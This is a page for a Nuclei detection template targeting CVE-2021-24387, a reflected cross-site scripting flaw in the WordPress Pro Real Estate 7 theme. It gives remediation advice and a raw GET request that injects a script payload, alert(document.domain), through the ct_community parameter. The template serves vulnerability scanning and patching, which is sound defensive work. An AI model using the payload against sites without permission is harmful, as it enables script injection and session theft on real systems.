WordPress Pro Real Estate 7 Theme <3.1.1 - Cross-Site Scripting

ID: CVE-2021-24387

Severity: medium

Author: suman_kar

Tags: cve,cve2021,xss,wordpress,wpscan,contempothemes

Description

WordPress Pro Real Estate 7 theme before 3.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the ct_community parameter in its search listing page before outputting it back.

YAML Source

id: CVE-2021-24387

info:
  name: WordPress Pro Real Estate 7 Theme <3.1.1 - Cross-Site Scripting
  author: suman_kar
  severity: medium
  description: |
    WordPress Pro Real Estate 7 theme before 3.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the ct_community parameter in its search listing page before outputting it back.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update WordPress Pro Real Estate 7 Theme to version 3.1.1 or later to mitigate the vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2021070041
    - https://wpscan.com/vulnerability/27264f30-71d5-4d2b-8f36-4009a2be6745
    - https://contempothemes.com/wp-real-estate-7/changelog/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24387
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24387
    cwe-id: CWE-79
    epss-score: 0.00154
    epss-percentile: 0.51646
    cpe: cpe:2.3:a:contempothemes:real_estate_7:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: contempothemes
    product: real_estate_7
    framework: wordpress
  tags: cve,cve2021,xss,wordpress,wpscan,contempothemes

http:
  - raw:
      - |
        GET /?ct_mobile_keyword&ct_keyword&ct_city&ct_zipcode&search-listings=true&ct_price_from&ct_price_to&ct_beds_plus&ct_baths_plus&ct_sqft_from&ct_sqft_to&ct_lotsize_from&ct_lotsize_to&ct_year_from&ct_year_to&ct_community=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&ct_mls&ct_brokerage=0&lat&lng HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain);</script>'
          - '/wp-content/themes/realestate'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f4a6c304b89a59505d42fe95bc5fd5d0f4b6bf7a64b5ab8fafe8b92d9cfa2f6102206f01e4218e8766d9d91f2834f030c25c99addebe9dfd709bbf858838ccfdf991:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24387.yaml"

View on Github